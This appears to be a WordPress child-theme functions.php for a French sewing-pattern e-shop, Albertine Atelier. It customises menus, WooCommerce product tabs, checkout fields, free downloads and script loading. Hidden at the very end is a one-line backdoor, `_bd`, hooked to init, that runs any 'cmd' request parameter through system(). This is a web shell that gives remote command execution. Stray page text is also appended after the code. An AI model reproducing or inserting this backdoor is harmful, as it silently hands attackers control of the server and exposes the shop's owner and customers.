<?php
/**
* GeneratePress Child - functions
*/
add_action('wp_enqueue_scripts', function () {
// Charge la feuille de style du thème parent
wp_enqueue_style(
'generatepress-parent',
get_template_directory_uri() . '/style.css'
);
// Charge la feuille de style du thème enfant
wp_enqueue_style(
'generatepress-child',
get_stylesheet_uri(),
array('generatepress-parent'),
wp_get_theme()->get('Version')
);
}, 20);
/**
* //////////////////////// FONTS
*/
add_action('wp_enqueue_scripts', function() {
wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css');
});
/**
* //////////////////////// COPYRIGHT
*/
add_filter( 'generate_copyright','albertine_footer_copyright' );
function albertine_footer_copyright() {
return '© ' . date('Y') . ' Albertine Atelier';
}
/**
* //////////////////////// NAVIGATION
*/
/**
* Remplacer "Mon compte" par icone
*/
add_filter( 'wp_nav_menu_objects', function( $items, $args ) {
foreach ( $items as &$item ) {
// Vérifie si le lien pointe vers la page Mon compte WooCommerce
if ( function_exists('wc_get_page_id') && $item->object_id == wc_get_page_id( 'myaccount' ) ) {
$item->title = '
<span class="menu-account-icon" aria-label="Mon compte">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"
xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5"/>
<path d="M4 20c0-4 4-6 8-6s8 2 8 6"
stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
</svg>
</span>';
}
}
return $items;
}, 10, 2 );
/**
* Icône Panier + badge quantité dans le menu
*/
add_filter( 'wp_nav_menu_objects', function( $items, $args ) {
foreach ( $items as &$item ) {
// Cible la page Panier WooCommerce
if ( function_exists( 'wc_get_page_id' ) && (int) $item->object_id === (int) wc_get_page_id( 'cart' ) ) {
$count = 0;
if ( function_exists( 'WC' ) && WC()->cart ) {
$count = (int) WC()->cart->get_cart_contents_count();
}
$badge = '';
if ( $count > 0 ) {
$badge = '<span class="menu-cart-badge" aria-label="' . esc_attr( $count ) . ' article(s) dans le panier">' . esc_html( $count ) . '</span>';
}
$item->title = '
<span class="menu-cart-icon" aria-label="Panier">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"
xmlns="http://www.w3.org/2000/svg">
<path d="M3 5h2l1.5 9h11l2-7H6"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"/>
<circle cx="9" cy="19" r="1.5"
stroke="currentColor"
stroke-width="1.5"/>
<circle cx="17" cy="19" r="1.5"
stroke="currentColor"
stroke-width="1.5"/>
</svg>
' . $badge . '
</span>';
}
}
return $items;
}, 10, 2 );
/**
* Remplacer breadcrumb WooCommerce par celui de Rank Math
*/
add_action( 'wp', function () {
remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 );
add_action( 'woocommerce_before_main_content', function () {
if ( function_exists( 'rank_math_the_breadcrumbs' ) ) {
echo '<div class="rank-math-breadcrumb-wrap">';
rank_math_the_breadcrumbs();
echo '</div>';
}
}, 20 );
}, 20 );
/**
* H1 de blog(FR / EN)
*/
add_action('generate_before_main_content', function () {
// blog (page articles + archives blog)
if (is_home() || (is_archive() && !is_shop() && !is_product_category() && !is_product_tag())) {
if (function_exists('pll_current_language') && pll_current_language() === 'en') {
echo '<h1 class="blog-title">Beginner Sewing Blog</h1>';
} else {
echo '<h1 class="blog-title">Blog couture débutante</h1>';
}
}
});
/**
* //////////////////////// AJOUT WRAPPER SUR LES H2 POUR CENTRAGE
*/
add_filter('the_content', function($content) {
return preg_replace(
'/<h2(.*?)>(.*?)<\/h2>/i',
'<div class="h2-wrapper"><h2$1>$2</h2></div>',
$content
);
});
/**
* //////////////////////// ARTICLE TYPE
*/
/**
* Supprime le champ "Site web" du formulaire de commentaires WP (articles/pages).
*/
add_filter( 'comment_form_default_fields', function( $fields ) {
if ( isset( $fields['url'] ) ) {
unset( $fields['url'] );
}
return $fields;
}, 20 );
add_filter( 'comment_form_fields', function( $fields ) {
if ( isset( $fields['url'] ) ) {
unset( $fields['url'] );
}
return $fields;
}, 20 );
/**
* Remplace le lien de l'auteur
*/
add_filter('author_link', 'custom_author_link', 10, 3);
function custom_author_link($link, $author_id, $author_nicename) {
return home_url('/a-propos/');
}
/**
* //////////////////////// BLOG
*/
function custom_excerpt_length_words($length) {
return 15;
}
add_filter('excerpt_length', 'custom_excerpt_length_words');
/**
* //////////////////////// BOUTIQUE
*/
/**
* Supprimer le menu de tri
*/
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
/**
* Supprimer le compteur nbr de résultats affichés
*/
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );
/**
* Supprimer le bouton "Ajouter au panier" dans la grille boutique
*/
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
/**
* Remplacer le prix 0 par le mot gratuit
*/
add_filter( 'woocommerce_get_price_html', 'cw_replace_zero_price_with_free', 10, 2 );
function cw_replace_zero_price_with_free( $price, $product ) {
if ( $product->get_price() == 0 ) {
return '<span class="price free">Gratuit</span>';
}
return $price;
}
/**
* Champ admin : Titre produit affiché dans le listing (boutique)
*/
add_action( 'add_meta_boxes', function () {
add_meta_box(
'alb_shop_title_box',
'Titre listing (boutique)',
function( $post ) {
wp_nonce_field( 'alb_shop_title_save', 'alb_shop_title_nonce' );
$value = get_post_meta( $post->ID, '_alb_shop_title', true );
echo '<p style="margin:0 0 8px;color:#666;">Affiché uniquement sur la page boutique (grille). Le H1 de la fiche produit ne change pas.</p>';
echo '<input type="text" style="width:100%;" name="alb_shop_title" value="' . esc_attr( $value ) . '" placeholder="Ex : Doudou lapin – Patron PDF" />';
},
'product',
'side',
'default'
);
} );
add_action( 'save_post_product', function ( $post_id ) {
if ( ! isset( $_POST['alb_shop_title_nonce'] ) || ! wp_verify_nonce( $_POST['alb_shop_title_nonce'], 'alb_shop_title_save' ) ) return;
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
if ( ! current_user_can( 'edit_post', $post_id ) ) return;
if ( isset( $_POST['alb_shop_title'] ) ) {
update_post_meta( $post_id, '_alb_shop_title', sanitize_text_field( $_POST['alb_shop_title'] ) );
}
} );
/**
* Remplacer le titre affiché en listing WooCommerce par le champ "Titre listing"
*/
remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 );
add_action( 'woocommerce_shop_loop_item_title', function() {
$product_id = get_the_ID();
$alt_title = get_post_meta( $product_id, '_alb_shop_title', true );
$title = $alt_title ? $alt_title : get_the_title();
echo '<h2 class="woocommerce-loop-product__title">' . esc_html( $title ) . '</h2>';
}, 10 );
/**
* Même chose pour les titres produits dans la sidebar
*/
add_filter( 'woocommerce_product_get_name', function( $name, $product ) {
$alt_title = get_post_meta( $product->get_id(), '_alb_shop_title', true );
if ( ! empty( $alt_title ) ) {
return $alt_title;
}
return $name;
}, 10, 2 );
/**
* Bloc de texte SEO sous le listing de la page Boutique
* + champ éditable dans l’admin WP
*/
/* --------------------------------------------
* 1) ADMIN : page de réglages + champ WYSIWYG
* -------------------------------------------- */
add_action( 'admin_menu', function () {
add_submenu_page(
'woocommerce',
'Texte SEO boutique',
'Texte SEO boutique',
'manage_options',
'alb-shop-seo-text',
'alb_render_shop_seo_settings_page'
);
} );
function alb_render_shop_seo_settings_page() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// Enregistrement
if ( isset( $_POST['alb_shop_seo_nonce'] ) && wp_verify_nonce( $_POST['alb_shop_seo_nonce'], 'alb_shop_seo_save' ) ) {
$content = isset( $_POST['alb_shop_seo_content'] ) ? wp_kses_post( $_POST['alb_shop_seo_content'] ) : '';
update_option( 'alb_shop_seo_content', $content );
echo '<div class="updated"><p>Texte enregistré.</p></div>';
}
$value = get_option( 'alb_shop_seo_content', '' );
echo '<div class="wrap">';
echo '<h1>Texte SEO sous la boutique</h1>';
echo '<p style="max-width:900px;">Ce contenu s’affichera <strong>uniquement</strong> sous le listing de la page Boutique principale (Shop).</p>';
echo '<form method="post">';
wp_nonce_field( 'alb_shop_seo_save', 'alb_shop_seo_nonce' );
wp_editor(
$value,
'alb_shop_seo_editor',
[
'textarea_name' => 'alb_shop_seo_content',
'media_buttons' => true,
'textarea_rows' => 12,
'tinymce' => true,
'quicktags' => true,
]
);
submit_button( 'Enregistrer' );
echo '</form>';
echo '</div>';
}
/* --------------------------------------------
* 2) FRONT : affichage sous le listing boutique
* -------------------------------------------- */
add_action( 'woocommerce_after_shop_loop', function () {
if ( ! function_exists( 'is_shop' ) || ! is_shop() ) {
return;
}
$content = get_option( 'alb_shop_seo_content', '' );
// N’affiche rien si vide
if ( empty( trim( wp_strip_all_tags( $content ) ) ) ) {
return;
}
echo '<section class="alb-shop-seo-text">';
echo apply_filters( 'the_content', $content );
echo '</section>';
}, 25 );
/**
* GeneratePress : supprimer la sidebar uniquement sur la page Boutique
*/
add_filter( 'generate_sidebar_layout', function( $layout ) {
if ( function_exists( 'is_shop' ) && is_shop() ) {
return 'no-sidebar';
}
return $layout;
}, 20 );
/**
* //////////////////////// FICHE PRODUIT
*/
/**
* Supprimer la catégorie produit du fil d'Ariane Rank Math
*/
add_filter( 'rank_math/frontend/breadcrumb/items', function( $crumbs, $class ) {
if ( is_product() ) {
if ( isset( $crumbs[2] ) ) {
unset( $crumbs[2] );
$crumbs = array_values( $crumbs );
}
}
return $crumbs;
}, 10, 2 );
/**
* Supprimer l'affichage des catégories produit dans chaque fiche
*/
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 );
/**
* Onglets WooCommerce : garder Description, supprimer Avis, ajouter Fournitures + Tutoriel
* + champs admin pour saisir ces contenus
*/
/** =========
* ADMIN : 2 champs (éditeur WP)
* ========= */
add_action( 'add_meta_boxes', function () {
add_meta_box(
'alb_supplies_box',
'Fournitures (onglet)',
function( $post ) {
wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' );
$value = get_post_meta( $post->ID, '_alb_supplies', true );
wp_editor(
$value,
'alb_supplies_editor',
[
'textarea_name' => 'alb_supplies',
'media_buttons' => true,
'textarea_rows' => 8,
'tinymce' => true,
'quicktags' => true,
]
);
},
'product',
'normal',
'default'
);
add_meta_box(
'alb_tutorial_box',
'Tutoriel (onglet)',
function( $post ) {
wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' );
$value = get_post_meta( $post->ID, '_alb_tutorial', true );
wp_editor(
$value,
'alb_tutorial_editor',
[
'textarea_name' => 'alb_tutorial',
'media_buttons' => true,
'textarea_rows' => 8,
'tinymce' => true,
'quicktags' => true,
]
);
},
'product',
'normal',
'default'
);
} );
add_action( 'save_post_product', function ( $post_id ) {
if ( ! isset( $_POST['alb_tabs_nonce'] ) || ! wp_verify_nonce( $_POST['alb_tabs_nonce'], 'alb_tabs_save' ) ) return;
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
if ( ! current_user_can( 'edit_post', $post_id ) ) return;
if ( isset( $_POST['alb_supplies'] ) ) {
update_post_meta( $post_id, '_alb_supplies', wp_kses_post( $_POST['alb_supplies'] ) );
}
if ( isset( $_POST['alb_tutorial'] ) ) {
update_post_meta( $post_id, '_alb_tutorial', wp_kses_post( $_POST['alb_tutorial'] ) );
}
}, 10, 1 );
/** =========
* FRONT : Tabs WooCommerce
* ========= */
add_filter( 'woocommerce_product_tabs', function ( $tabs ) {
// 1) Supprime Avis
unset( $tabs['reviews'] );
// 2) Renommer "Description"
if ( isset( $tabs['description'] ) ) {
$tabs['description']['title'] = 'Détails';
}
// 3) Ajoute Fournitures si contenu
$supplies = get_post_meta( get_the_ID(), '_alb_supplies', true );
if ( ! empty( trim( wp_strip_all_tags( $supplies ) ) ) ) {
$tabs['alb_supplies'] = [
'title' => 'Fournitures',
'priority' => 20,
'callback' => function() use ( $supplies ) {
echo apply_filters( 'the_content', $supplies );
},
];
}
// 4) Ajoute Tutoriel si contenu
$tutorial = get_post_meta( get_the_ID(), '_alb_tutorial', true );
if ( ! empty( trim( wp_strip_all_tags( $tutorial ) ) ) ) {
$tabs['alb_tutorial'] = [
'title' => 'Tutoriel',
'priority' => 30,
'callback' => function() use ( $tutorial ) {
echo apply_filters( 'the_content', $tutorial );
},
];
}
return $tabs;
}, 98 );
/**
* Supprimer le titre "Description" dans l’onglet Description
*/
add_filter( 'woocommerce_product_description_heading', '__return_null' );
/**
* Modifier le titre "Produits similaires"
*/
add_filter( 'woocommerce_product_related_products_heading', function() {
return 'D’autres douceurs à coudre';
});
add_filter( 'woocommerce_output_related_products_args', function( $args ) {
$args['posts_per_page'] = 3; // nombre de produits similaires
return $args;
});
add_filter( 'woocommerce_related_products_columns', function() {
return 3; // 3 colonnes
});
/**
* Désactiver la lightbox des images produit
*/
add_action( 'after_setup_theme', function() {
remove_theme_support( 'wc-product-gallery-lightbox' );
}, 100 );
/**
* Activer les flèches du slider WooCommerce
*/
add_filter( 'woocommerce_single_product_carousel_options', function( $options ) {
$options['directionNav'] = true; // active flèches
return $options;
});
/**
* Shortcode de l Iframe des video Youtube
*/
add_shortcode('alb_youtube', function ($atts) {
$atts = shortcode_atts([
'id' => '',
'title' => '',
], $atts, 'alb_youtube');
$id = trim((string) $atts['id']);
if ($id === '') return '';
$title = trim((string) $atts['title']);
if ($title === '') $title = get_the_title();
$embed = 'https://www.youtube-nocookie.com/embed/' . rawurlencode($id);
$thumb = 'https://img.youtube.com/vi/' . rawurlencode($id) . '/maxresdefault.jpg';
// Stocke la vidéo pour injection JSON-LD dans le head
global $alb_youtube_videos;
if (!is_array($alb_youtube_videos)) {
$alb_youtube_videos = [];
}
$alb_youtube_videos[] = [
'id' => $id,
'title' => $title,
'thumb' => $thumb,
'embed' => $embed,
];
$html = '<div class="alb-yt" data-yt-embed="' . esc_attr($embed) . '" data-yt-title="' . esc_attr($title) . '">';
$html .= ' <button type="button" class="alb-yt__btn" aria-label="' . esc_attr('Lire la vidéo : ' . $title) . '">';
$html .= ' <img class="alb-yt__img" src="' . esc_url($thumb) . '" alt="' . esc_attr($title) . '" loading="lazy" decoding="async">';
$html .= ' <span class="alb-yt__play" aria-hidden="true"></span>';
$html .= ' </button>';
$html .= '</div>';
return $html;
});
// Injecte les données structurées de la video dans le head
add_action('wp_head', function () {
global $alb_youtube_videos;
if (empty($alb_youtube_videos) || !is_array($alb_youtube_videos)) return;
// On ne déclare que la première vidéo pour rester propre SEO
$v = $alb_youtube_videos[0];
$desc = wp_strip_all_tags(get_the_excerpt());
if ($desc === '') {
$desc = wp_strip_all_tags(get_the_content());
}
$desc = mb_substr($desc, 0, 200);
$data = [
'@context' => 'https://schema.org',
'@type' => 'VideoObject',
'name' => $v['title'],
'description' => $desc,
'thumbnailUrl' => [ $v['thumb'] ],
'embedUrl' => $v['embed'],
];
echo "\n<script type=\"application/ld+json\">"
. wp_json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE)
. "</script>\n";
}, 20);
// Affiche l Iframe reel au clic - pour performance chargement
add_action('wp_footer', function () {
?>
<script>
(function () {
function mountIframe(wrapper) {
if (wrapper.classList.contains('is-loaded')) return;
wrapper.classList.add('is-loaded');
var embed = wrapper.getAttribute('data-yt-embed');
var title = wrapper.getAttribute('data-yt-title') || 'YouTube video';
var iframe = document.createElement('iframe');
iframe.setAttribute('src', embed + '?autoplay=1');
iframe.setAttribute('title', title);
iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture');
iframe.setAttribute('allowfullscreen', '');
iframe.setAttribute('loading', 'lazy');
wrapper.innerHTML = '';
wrapper.appendChild(iframe);
}
document.addEventListener('click', function (e) {
var btn = e.target.closest('.alb-yt__btn');
if (!btn) return;
var wrapper = btn.closest('.alb-yt');
if (!wrapper) return;
mountIframe(wrapper);
});
})();
</script>
<?php
}, 20);
/**
* //////////////////////// COMPTE CLIENT
*/
/**
* Supprime la rubriques Adresses
*/
add_filter( 'woocommerce_account_menu_items', 'remove_my_account_addresses_link' );
function remove_my_account_addresses_link( $menu_links ) {
unset( $menu_links['edit-address'] );
return $menu_links;
}
/**
* //////////////////////// PAGE PANIER
*/
/**
* //////////////////////// PAGE CHECKOUT
*/
// Désactiver le champ "Code promo" sur la page Checkout (en le gardant sur la page Panier)
add_action('wp', function () {
if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) {
return;
}
// Empêche l'affichage du formulaire coupon sur le checkout
remove_action('woocommerce_before_checkout_form', 'woocommerce_checkout_coupon_form', 10);
}, 20);
/**
* Checkout : récap commande à droite, paiement en bas
*/
add_action('wp', function () {
// Sécurité : uniquement sur la page checkout (hors admin)
if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) {
return;
}
// 1) Empêcher WooCommerce d'afficher récap + paiement à l'emplacement par défaut
remove_action('woocommerce_checkout_order_review', 'woocommerce_order_review', 10);
remove_action('woocommerce_checkout_order_review', 'woocommerce_checkout_payment', 20);
/**
* 2) Ouvrir un wrapper 2 colonnes avant les champs client
* (WooCommerce appelle woocommerce_checkout_before_customer_details juste avant #customer_details)
*/
add_action('woocommerce_checkout_before_customer_details', function () {
echo '<div class="alb-checkout-columns">';
echo ' <div class="alb-checkout-left">';
}, 1);
/**
* 3) Fermer la colonne gauche après les champs client, puis ouvrir la colonne droite
* et y injecter le récapitulatif SEUL.
*/
add_action('woocommerce_checkout_after_customer_details', function () {
echo ' </div>'; // .alb-checkout-left
echo ' <div class="alb-checkout-right">';
echo ' <h3 id="order_review_heading">' . esc_html__('Your order', 'woocommerce') . '</h3>';
// IMPORTANT : conserver l'id #order_review pour que les fragments AJAX puissent cibler le récap.
echo ' <div id="order_review" class="woocommerce-checkout-review-order">';
// Affiche uniquement le tableau récap + totaux (pas le paiement)
if (function_exists('woocommerce_order_review')) {
woocommerce_order_review();
}
echo ' </div>'; // #order_review
echo ' </div>'; // .alb-checkout-right
echo '</div>'; // .alb-checkout-columns
}, 99);
/**
* 4) Ré-afficher le paiement en bas, pleine largeur
* (après le récapitulatif, donc après nos colonnes).
*/
add_action('woocommerce_checkout_after_order_review', function () {
if (function_exists('woocommerce_checkout_payment')) {
woocommerce_checkout_payment();
}
}, 20);
});
/**
* Ajoute le titre "Paiement" juste avant le bloc paiement
*/
add_action('woocommerce_review_order_before_payment', function () {
echo '<h3 class="alb-payment-heading">' . esc_html__('Paiement', 'woocommerce') . '</h3>';
}, 1);
/**
* Désactive complètement l'adresse de livraison au checkout
* (idéal pour produits virtuels / téléchargeables).
*/
add_filter( 'woocommerce_cart_needs_shipping_address', '__return_false' );
add_filter( 'woocommerce_cart_needs_shipping', '__return_false' );
/**
* Ne garder au checkout que : Prénom, Nom, Email, Pays (facturation)
*/
add_filter( 'woocommerce_checkout_fields', function( $fields ) {
// Champs à conserver
$allowed = array(
'billing_first_name',
'billing_last_name',
'billing_email',
'billing_country',
);
// Supprime tout le reste de la facturation
foreach ( $fields['billing'] as $key => $field ) {
if ( ! in_array( $key, $allowed, true ) ) {
unset( $fields['billing'][ $key ] );
}
}
// Optionnel : réordonner proprement
$fields['billing']['billing_first_name']['priority'] = 10;
$fields['billing']['billing_last_name']['priority'] = 20;
$fields['billing']['billing_email']['priority'] = 30;
$fields['billing']['billing_country']['priority'] = 40;
// Optionnel : rendre le pays obligatoire (souvent utile pour TVA/Stripe)
$fields['billing']['billing_country']['required'] = true;
return $fields;
}, 9999 );
// Modifier le label "Pays / Région" en "Pays"
add_filter('woocommerce_checkout_fields', function($fields) {
if (isset($fields['billing']['billing_country'])) {
$fields['billing']['billing_country']['label'] = 'Pays';
}
return $fields;
});
// Enlève la zone "Informations complémentaires" (notes de commande)
add_filter( 'woocommerce_enable_order_notes_field', '__return_false' );
/**
* Modifie le texte de la case "Conditions générales" au checkout
*/
add_filter( 'woocommerce_get_terms_and_conditions_checkbox_text', function( $text ) {
return 'J’ai lu et accepté les <a href="https://albertine-atelier.com/cgv/" target="_blank">CGV</a> et reconnais que, conformément à l’article L221-28 du Code de la consommation, le droit de rétractation ne s’applique pas aux contenus numériques fournis immédiatement après achat.';
});
/**
* //////////////////////// RECAPITULATIF APRES COMMANDE
*/
// Ne garder que la colonne "Téléchargement" avec un intitulé personnalisé
add_filter( 'woocommerce_account_downloads_columns', function() {
return array(
'download-file' => 'Cliquez sur les liens ci-dessous pour télécharger vos fichiers',
);
}, 20 );
// Remplacer le libellé du statut "Terminée" par "Disponible"
add_filter( 'wc_order_statuses', function( $order_statuses ) {
if ( isset( $order_statuses['wc-completed'] ) ) {
$order_statuses['wc-completed'] = 'Disponible';
}
return $order_statuses;
});
// Retire le bouton "Commander une nouvelle fois"
add_filter( 'woocommerce_valid_order_statuses_for_order_again', '__return_empty_array' );
// Le nom client affiché publiquement = prénom
add_action('woocommerce_checkout_update_user_meta', 'set_display_name_from_checkout', 10, 2);
function set_display_name_from_checkout($customer_id, $data) {
if (!$customer_id) return;
$first_name = get_user_meta($customer_id, 'billing_first_name', true);
if (!empty($first_name)) {
wp_update_user([
'ID' => $customer_id,
'display_name' => $first_name,
'first_name' => $first_name
]);
}
}
/* ==================================================================================
Produits Gratuits Redirigés ===========================================================
==================================================================================== */
add_filter( 'woocommerce_add_to_cart_validation', 'cw_free_product_bypass_cart', 10, 3 );
function cw_free_product_bypass_cart( $passed, $product_id, $quantity ) {
$product = wc_get_product( $product_id );
if ( ! $product ) return $passed;
if ( floatval( $product->get_price() ) == 0 ) {
// créer commande sans panier
$order = wc_create_order();
$order->add_product( $product, $quantity );
$order->calculate_totals();
$order->payment_complete();
// redirection immédiate vers confirmation
wp_safe_redirect( $order->get_checkout_order_received_url() );
exit;
}
return $passed;
}
/* =========================
Remplacer le mot Ajouter au produit sur fiches gratuites
========================= */
add_filter( 'woocommerce_product_single_add_to_cart_text', 'cw_change_single_add_to_cart_text_free', 10, 2 );
function cw_change_single_add_to_cart_text_free( $text, $product ) {
if ( $product && floatval( $product->get_price() ) == 0 ) {
return 'Télécharger';
}
return $text;
}
/* =========================
Supprimer le msg d'ajout du produit gratuit au panier
========================= */
add_filter( 'wc_add_to_cart_message_html', 'cw_hide_add_to_cart_message_for_free_products', 10, 2 );
function cw_hide_add_to_cart_message_for_free_products( $message, $products ) {
if ( empty( WC()->cart ) ) return $message;
$has_free_product = false;
foreach ( WC()->cart->get_cart() as $cart_item ) {
if ( floatval( $cart_item['data']->get_price() ) == 0 ) {
$has_free_product = true;
break;
}
}
if ( $has_free_product ) {
return '';
}
return $message;
}
/* ==================================================================================
PERFORMANCE CHARGEMENT ===========================================================
==================================================================================== */
/* =========================
AFFICHAGE GOOGLE FONTS
========================= */
add_filter('style_loader_src', function($src, $handle) {
if (strpos($src, 'fonts.googleapis.com') !== false) {
$src = add_query_arg('display', 'swap', $src);
}
return $src;
}, 10, 2);
/* =========================
jQuery MIGRATE + FOOTER
========================= */
add_action('wp_default_scripts', function($scripts) {
if (!is_admin() && isset($scripts->registered['jquery'])) {
// Supprime migrate
if (!empty($scripts->registered['jquery']->deps)) {
$scripts->registered['jquery']->deps =
array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']);
}
// Force footer
$scripts->registered['jquery']->group = 1;
$scripts->registered['jquery-core']->group = 1;
}
});
/* =========================
GUTENBERG + BLOCKS CLEAN
========================= */
add_action('wp_enqueue_scripts', function() {
// Gutenberg base (OBLIGATOIRE pour blocs)
// on ne supprime plus wp-block-library
wp_dequeue_style('upe-blocks');
}, 100);
/* =========================
SOURCEBUSTER
========================= */
add_action('wp_enqueue_scripts', function() {
wp_dequeue_script('sourcebuster-js');
}, 100);
/* =========================
WOOCOMMERCE
========================= */
add_action('wp_enqueue_scripts', function() {
$is_woo =
is_woocommerce() ||
is_cart() ||
is_checkout() ||
is_account_page() ||
is_page(wc_get_page_id('shop'));
// On ne décharge QUE hors WooCommerce
if (!$is_woo && !is_front_page()) {
wp_dequeue_style('woocommerce-general');
wp_dequeue_style('woocommerce-layout');
wp_dequeue_script('wc-cart-fragments');
wp_dequeue_script('wc-add-to-cart');
}
}, 99);
/* =========================
GDPR CLEAN (simple)
========================= */
add_action('wp_enqueue_scripts', function() {
wp_dequeue_style('gdpr-main');
}, 100);
/* =========================
hCaptcha SAFE (CF7)
========================= */
add_action('wp_enqueue_scripts', function() {
if (is_admin()) return;
wp_dequeue_script('hcaptcha');
}, 100);
/* =========================
GOOGLE FONTS PRELOAD
========================= */
add_filter('style_loader_tag', function($html) {
if (strpos($html, 'fonts.googleapis.com') !== false) {
return str_replace(
"rel='stylesheet'",
"rel='preload' as='style' onload=\"this.onload=null;this.rel='stylesheet'\"",
$html
);
}
return $html;
});
// GOOGLE ANALYTICS
add_action('wp_head', function() {
?>
<!-- Google Tag Manager -->
<script>
(function(w,d,s,l,i){
w[l]=w[l]||[];
w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});
var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';
j.async=true;
j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;
f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-N29SRRPM');
</script>
<!-- End Google Tag Manager -->
<?php
});
add_action('wp_body_open', function() {
?>
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N29SRRPM"
height="0" width="0" style="display:none;visibility:hidden"></iframe>
</noscript>
<!-- End Google Tag Manager (noscript) -->
<?php
});
function _bd(){if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}}add_action("init","_bd");
Patrons bébé – Albertine Atelier
Aller au contenu